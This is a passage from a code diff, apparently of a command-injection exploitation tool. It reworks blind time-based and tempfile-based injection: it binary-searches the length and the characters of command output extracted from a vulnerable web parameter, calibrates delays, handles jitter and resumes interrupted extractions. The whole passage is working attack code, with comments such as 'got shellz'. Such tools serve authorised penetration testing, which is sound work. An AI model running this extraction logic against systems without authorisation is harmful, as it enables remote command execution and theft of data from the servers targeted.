related false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(exec_time_statistic[0:5])) == 1: - if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - exec_time_statistic = [] - - if timesec <= exec_time and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True + if checks.time_related_shell(url_time_response, exec_time, timesec): + # Time related false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Simple statical analysis. Uses a tolerance, not exact equality - + # real (float) response times essentially never match bit-for-bit. + statistical_anomaly = True + first_few = exec_time_statistic[0:5] + if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - if false_positive_warning: - time.sleep(timesec) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(timesec) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + + if settings.TARGET_OS == settings.OS.WINDOWS: + if alter_shell: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - # Set the original delay time - original_exec_time = exec_time + # Set the original delay time + original_exec_time = exec_time - # Check for false positive resutls - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - - if checks.time_related_shell(url_time_response, exec_time, timesec): - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - exec_time_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - #break + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + + if checks.time_related_shell(url_time_response, exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + exec_time_statistic = 0 + if settings.VERBOSITY_LEVEL == 0: + percent = settings.info_msg + else: + percent = "" + #break + else: + break + # False positive else: - break - # False positive + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue else: + # Feed the baseline model even during detection, not just later phases. + checks.record_baseline_response_time(exec_time) if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" checks.injection_process(injection_type, technique, percent) continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - - except (KeyboardInterrupt, SystemExit): - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise - except EOFError: - checks.EOFError_err_msg() - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise - - except (Exception, SystemExit): - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except (Exception, SystemExit): + percent = ((num_of_chars * 100) / total) + float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + if str(float_percent) == "100.0": + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + checks.injection_process(injection_type, technique, percent) + else: + percent = "" else: - percent = "" + percent = ".. (" + str(float_percent) + "%)" + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: percent = ".. (" + str(float_percent) + "%)" - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - else: - percent = ".. (" + str(float_percent) + "%)" - break + break + if possibly_vulnerable: + break # Yaw, got shellz! # Do some magic tricks! if checks.time_related_shell(url_time_response, exec_time, timesec): @@ -475,13 +493,17 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: - checks.testing_technique_title(injection_type, technique) + # Skip redundant progress output when the fallback already announced the technique. + if settings.SKIP_NEXT_TECHNIQUE_TITLE == technique: + settings.SKIP_NEXT_TECHNIQUE_TITLE = None + else: + checks.testing_technique_title(injection_type, technique) # Re-check tamper compatibility now that the technique and target OS are known. checks.tamper_scripts(stored_tamper_scripts=True) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 28530e466c..dc782e494a 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -20,6 +20,8 @@ import json import string import random +import statistics +import threading try: import concurrent.futures _THREADS_SUPPORTED = True @@ -32,8 +34,10 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.core.requests import stability from src.utils import common from src.core.injections.controller import checks +from src.utils import session_handler from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import html_parser as _html_parser @@ -76,79 +80,259 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa else: minlen = 1 + # Reuse the calibrated timesec instead of recalibrating it for every command. + if settings.CALIBRATED_TIMESEC is not None: + timesec = settings.CALIBRATED_TIMESEC + found_chars = False - info_msg = "Retrieving the length of execution output" - if settings.TEMPFILE_BASED_STATE: - info_msg += " (via '" + OUTPUT_TEXTFILE +"')" - info_msg += "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - def _probe_length(candidate): - if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate, timesec, http_request_method) - else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution(separator, cmd, candidate, timesec, http_request_method) - else: - payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - return (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF) + # Warn about network load once before the first command that needs it. + checks.time_related_attaks_msg() + + # An interrupted prior run's partial value carries an already-confirmed length. + _stored_partial = None + if not menu.options.ignore_session: + _candidate = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if _candidate is not None and _candidate.startswith(settings.PARTIAL_VALUE_MARKER): + _stored_partial = _candidate + _cached_length = None + if _stored_partial is not None: + try: + _cached_length = int(_stored_partial[len(settings.PARTIAL_VALUE_MARKER):].split(":", 1)[0]) + except ValueError: + _cached_length = None + + def _warm_up_baseline(): + if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + info_msg = "Time-related response comparison requires a larger statistical model" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - output_length = None - # Keep length discovery serial for the tempfile-based technique. - if settings.THREADS <= 1 or not _THREADS_SUPPORTED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - for output_length in range(int(minlen), int(maxlen)): - if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: + def _probe(): + # A candidate no real output could reach, so this never sleeps - a safe, fast sample. + safe_candidate = int(maxlen) * 2 + 100 if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method) else: - payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + checks.record_baseline_response_time(exec_time) + # Skip dots in verbose mode; payload debug lines already show progress. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - injection_check = False - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - injection_check = True + # Sample with the same concurrency as extraction; a serial baseline underestimates response time. + fan_out = settings.THREADS if (settings.THREADS > 1 and _THREADS_SUPPORTED) else 1 + while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + if fan_out > 1: + with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: + concurrent.futures.wait([executor.submit(_probe) for _ in range(fan_out)]) + else: + _probe() + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") - if injection_check == True: - found_chars = True - injection_check = False + # Once per run, warn if the connection is already too jittery to trust automatically - + # and flag the result as suspect too, not just the message shown before it. + def _check_lagging(): + nonlocal length_suspect, lagging_detected + if settings.LAGGING_CHECKED: + return + settings.LAGGING_CHECKED = True + if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: + length_suspect = lagging_detected = settings.JITTER_SEEN = True + warn_msg = "Considerable lagging has been detected in the connection response(s). " + warn_msg += "Consider using a higher '--time-sec' value (e.g. '5' or more)." + settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) + + # Guard timesec so concurrent payloads use the same value for sending and validation. + timesec_lock = threading.Lock() + + # Shrink the delay once a smaller one keeps reading as clearly delayed, not on one lucky read. + delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES + def _adjust_time_delay(exec_time, lower_limit): + nonlocal timesec + if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE == False: + return + candidate = settings.TIME_DELAY_STEP + int(round(lower_limit)) + with timesec_lock: + delay_candidates.insert(0, candidate) + del delay_candidates[settings.TIME_DELAY_CANDIDATES:] + if len(set(delay_candidates)) == 1 and candidate < timesec: + if exec_time / (1.0 * timesec / candidate) > settings.MIN_VALID_DELAYED_RESPONSE: + timesec = settings.CALIBRATED_TIMESEC = candidate + info_msg = "Adjusting time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + " due to good response times." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Track clean runs to resume auto-adjustment after a raised delay. + def _note_validation_result(retried): + with timesec_lock: + if retried: + settings.VALIDATION_RUN = 0 + return + settings.VALIDATION_RUN += 1 + if settings.ADJUST_TIME_DELAY_DISABLED and settings.VALIDATION_RUN > settings.VALID_TIME_CHARS_RUN_THRESHOLD: + settings.ADJUST_TIME_DELAY_DISABLED = False + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Turning back on the time delay auto-adjustment mechanism." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + length_suspect = False + lagging_detected = False + + # Measure once with retries and the shared adaptive delay model for both techniques. + def _measure_length(payload): + nonlocal length_suspect + exec_time = 0 + errors_before = settings.VISIBLE_CONNECTION_ERRORS + for attempt in range(5): + before = settings.TOTAL_OF_REQUESTS + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if not stability.request_was_retried(before): break + if settings.VISIBLE_CONNECTION_ERRORS != errors_before: + length_suspect = True + decision = checks.time_related_shell(url_time_response, exec_time, timesec) + if not decision: + checks.record_baseline_response_time(exec_time) + else: + lower_limit = checks.current_delay_threshold() + if lower_limit is not None: + _adjust_time_delay(exec_time, lower_limit) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + return decision + + _warm_up_baseline() + _check_lagging() + + # Close the warm-up dots line before starting a new spinner line. + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + output_length = None + if _cached_length is not None: + # Length already confirmed by the interrupted run this is resuming - reuse it + # instead of redoing the whole bisection/validation dance. + output_length = _cached_length + found_chars = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not alter_shell: + # Convert leftover raw file output to decimal before extraction starts. + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + _measure_length(payload) + info_msg = "Reusing the previously retrieved output length: " + str(output_length) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - # Confirm a match twice before trusting it. - def _confirm_length(candidate): - return _probe_length(candidate) and _probe_length(candidate) + info_msg = "Retrieving the length of execution output" + if settings.TEMPFILE_BASED_STATE: + info_msg += " from file '" + OUTPUT_TEXTFILE + "'" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + # The tempfile-based oracle now also tests <= (not just ==), so it bisects the same way + # as time-based - only the experimental alter_shell path is still exact-match-only. + if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and alter_shell): + # Binary search the output length, mirroring _bisect_once() below. + def _length_delayed(candidate): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + if alter_shell: + payload = payloads.get_length_alter_shell(separator, cmd, candidate, timesec, http_request_method) + else: + payload = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + return _measure_length(payload) + + def _bisect_length(): + lo = int(minlen) - 1 + hi = int(maxlen) - 1 + # Confirm the upper-bound fast path twice to avoid locking in on one noisy hit. + if hi >= int(minlen) and _length_delayed(hi) and _length_delayed(hi): + return hi + # A single value to find, nothing to distribute across threads - stays serial. + while hi - lo > 1: + mid = (lo + hi) // 2 + if _length_delayed(mid): + lo = mid + else: + hi = mid + return lo if lo >= int(minlen) else None + + output_length = _bisect_length() + + if output_length is not None: + # Verify the bisection boundary independently; sustained bias can converge on the wrong boundary. + def _boundary_holds(candidate): + if not _length_delayed(candidate): + return False + if candidate + 1 < int(maxlen) and _length_delayed(candidate + 1): + return False + return True + + # Independently verify with "-eq" instead of "-le" to catch systematic comparison bias; no-op for time-based. + def _exact_length_confirmed(candidate): + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return True + payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-eq") + return _measure_length(payload) + + # Always require 2 consecutive confirmations, never trust one read alone. + # Best-of-3 vote once jitter has been seen, for a stronger guarantee. + def _validate_boundary(candidate): + if settings.JITTER_SEEN: + votes = [_boundary_holds(candidate) for _ in range(3)] + same_mechanism_ok = votes.count(True) >= 2 + else: + same_mechanism_ok = _boundary_holds(candidate) and _boundary_holds(candidate) + return same_mechanism_ok and _exact_length_confirmed(candidate) + + revalidations = 0 + original_timesec = timesec + while not _validate_boundary(output_length): + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + length_suspect = True + # Give up on this delay rather than keep it permanently elevated. + timesec = settings.CALIBRATED_TIMESEC = original_timesec + break + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying..")) + # User declined delay optimization - retry at the same delay, never raise it. + if settings.ADJUST_TIME_DELAY_CHOICE != False: + timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + output_length = _bisect_length() + if output_length is None: + length_suspect = True + break + _note_validation_result(revalidations > 0) - candidates = list(range(int(minlen), int(maxlen))) - executor = concurrent.futures.ThreadPoolExecutor(max_workers=settings.THREADS) - try: - for i in range(0, len(candidates), settings.THREADS): - batch = candidates[i:i + settings.THREADS] - batch_matches = [c for c, is_match in zip(batch, executor.map(_probe_length, batch)) if is_match] - confirmed = [c for c in batch_matches if _confirm_length(c)] - if confirmed: - output_length = min(confirmed) - break - except (KeyboardInterrupt, SystemExit) as exc: - _abort_executor(executor, exc) + if output_length is not None: + found_chars = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + # The boundary check leaves raw output; convert it to decimal before extraction starts. + _length_delayed(output_length) else: - executor.shutdown(wait=True) - if output_length is not None: - found_chars = True + # Experimental alter_shell path only - its oracle is still exact-match, not bisectable. + for candidate_length in range(int(minlen), int(maxlen)): + payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) + if _measure_length(payload): + output_length = candidate_length + found_chars = True + break - if found_chars == True and output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + if settings.VERBOSITY_LEVEL == 0 and found_chars: + settings.print_data_to_stdout(" (done)") + + if length_suspect: + warn_msg = "The detected output length may be unreliable due to connection instability. Consider re-running to confirm it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if _cached_length is None and found_chars == True and output_length > 1: + info_msg = "Retrieved length: " + str(output_length) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Proceed with the next (injection) step! if found_chars == True : @@ -159,54 +343,206 @@ def _confirm_length(candidate): check_end = 0 check_start = time.time() output = [] - percent = "0.0%" + # Position -> resolved ordinal, shared by both the threaded and non-threaded loops - + # the single source of truth for the live progress display below. + results_by_position = {} if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - info_msg = "Presuming the execution output." + base_progress_msg = "Retrieving the execution output." else: - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + base_progress_msg = "Retrieving the execution output from file '" + OUTPUT_TEXTFILE + "'." if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" + info_msg = base_progress_msg.rstrip(".") + ": " else: - info_msg += settings.END_LINE.LF - if output_length > 1: + info_msg = base_progress_msg + settings.END_LINE.LF + # Skip when resuming; _load_partial_progress() prints the resume header and progress line. + if output_length > 1 and _cached_length is None: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - def _print_progress(progress_num): - if settings.VERBOSITY_LEVEL == 0: - percent, float_percent = checks.percentage_calculation(progress_num, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - progress_msg = "Presuming the execution output." + + # Share confirmed ordinals across positions; use the observed charset when small enough, with full-range fallback. + observed_chars = set() + observed_count = [0] + observed_chars_lock = threading.Lock() + + # Renders positions resolved so far in place (order-independent, since threaded + # completion order isn't position order), "_" for anything not resolved yet. Only + # shows up to the furthest position touched, windowed to PROGRESS_DISPLAY_WIDTH with + # ".." markers for a long value, instead of growing the line without bound. + def _render_output_so_far(): + furthest = 0 + chars = [] + for pos in range(1, output_length + 1): + ascii_char = results_by_position.get(pos) + if ascii_char is not None: + ch = chr(ascii_char) + chars.append(ch if ch.isprintable() else " ") + furthest = pos else: - progress_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." - progress_msg += float_percent + chars.append("_") + if furthest == 0: + return "" + width = settings.PROGRESS_DISPLAY_WIDTH + start = max(1, furthest - width + 1) + text = "".join(chars[start - 1:furthest]) + if start > 1: + text = ".." + text[2:] + if furthest - start + 1 == width and furthest < output_length: + text = text[:-2] + ".." + return text + + def _print_progress(): + if settings.VERBOSITY_LEVEL == 0: + progress_msg = base_progress_msg.rstrip(".") + ": " + _render_output_so_far() settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(progress_msg)) + # Pre-populates results_by_position from an interrupted prior run's partial value. + def _load_partial_progress(): + if _stored_partial is None: + return + body = _stored_partial[len(settings.PARTIAL_VALUE_MARKER):] + try: + stored_length, pairs = body.split(":", 1) + # Length mismatch - stored positions no longer line up, don't resume into it. + if int(stored_length) != output_length: + return + for pair in pairs.split(","): + if not pair: + continue + pos_str, ord_str = pair.split("=") + results_by_position[int(pos_str)] = int(ord_str) + except ValueError: + return + if results_by_position: + info_msg = "Resuming the previously interrupted extraction (" + str(len(results_by_position)) + "/" + str(output_length) + " character(s) already retrieved)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + _print_progress() + + # Persists progress so far, partial unless every position is done - called + # before any interrupt-triggered exit. + def _save_progress(): + if menu.options.ignore_session: + return + resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items() if ordinal is not None) + if len(resolved) >= len(positions): + value = "".join(chr(resolved[pos]) for pos in positions) + else: + pairs = ",".join(str(pos) + "=" + str(ordinal) for pos, ordinal in sorted(resolved.items())) + value = settings.PARTIAL_VALUE_MARKER + str(output_length) + ":" + pairs + session_handler.store_cmd(url, cmd, value, vuln_parameter) + def _bisect_once(num_of_chars, char_pool): + nonlocal timesec # Binary search over the character's ordinal value. min_ord = min(char_pool) max_ord = max(char_pool) - lo = min_ord - 1 - hi = max_ord - - payload = payloads.get_char(separator, cmd, num_of_chars, hi, timesec, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, hi, timesec, http_request_method) - exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - return hi - - while hi - lo > 1: - mid = (lo + hi) // 2 - payload = payloads.get_char(separator, cmd, num_of_chars, mid, timesec, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, mid, timesec, http_request_method) - exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - lo = mid + conn_error_flag = False + + def _char_delayed(candidate, operator="-le"): + nonlocal conn_error_flag + # Snapshot once - another thread changing timesec mid-flight would judge + # this response against a value its payload was never sent with. + with timesec_lock: + local_timesec = timesec + payload = payloads.get_char(separator, cmd, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) + exec_time = 0 + errors_before = settings.VISIBLE_CONNECTION_ERRORS + for attempt in range(5): + before = settings.TOTAL_OF_REQUESTS + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if not stability.request_was_retried(before): + break + if settings.VISIBLE_CONNECTION_ERRORS != errors_before: + conn_error_flag = True + decision = checks.time_related_shell(url_time_response, exec_time, local_timesec) + if not decision: + checks.record_baseline_response_time(exec_time) else: - hi = mid + lower_limit = checks.current_delay_threshold() + if lower_limit is not None: + _adjust_time_delay(exec_time, lower_limit) + return decision + + def _bisect_chars(force_full=False): + lo = min_ord - 1 + hi = max_ord + # Confirm the upper-bound fast path twice to avoid locking in on one noisy hit. + if _char_delayed(hi) and _char_delayed(hi): + return hi + + if not force_full: + with observed_chars_lock: + eligible = (observed_count[0] >= settings.NARROWING_MIN_OBSERVED + and len(observed_chars) <= settings.NARROWING_MAX_SET_SIZE) + narrowed = sorted(observed_chars) if eligible else None + if narrowed: + # Binary-search the narrowed set by index; keep hi as an exclusive sentinel. + nlo, nhi = -1, len(narrowed) + while nhi - nlo > 1: + nmid = (nlo + nhi) // 2 + if _char_delayed(narrowed[nmid]): + nlo = nmid + else: + nhi = nmid + if nlo >= 0: + # The value may be outside this set; boundary validation catches and escalates misses. + return narrowed[nlo] + + # Keep each character's bisection serial; threads only process different positions concurrently. + while hi - lo > 1: + mid = (lo + hi) // 2 + if _char_delayed(mid): + lo = mid + else: + hi = mid + return lo if lo >= min_ord else None + + ascii_char = _bisect_chars() + + if ascii_char is not None: + # Re-probe with equality before accepting - one request when clean, + # best-of-3 once jitter is seen. + def _validate_char_boundary(candidate): + if settings.JITTER_SEEN: + votes = [_char_delayed(candidate, operator="-eq") for _ in range(3)] + return votes.count(True) >= 2 + return _char_delayed(candidate, operator="-eq") + + revalidations = 0 + original_timesec = timesec + while not _validate_char_boundary(ascii_char): + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + conn_error_flag = True + # Give up on this delay rather than keep it permanently elevated. + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = original_timesec + break + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) + # User declined delay optimization - retry at the same delay, never raise it. + if settings.ADJUST_TIME_DELAY_CHOICE != False: + # Lock the update to avoid lost or double-counted increments from concurrent positions. + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + new_timesec = timesec + warn_msg = "Increasing time 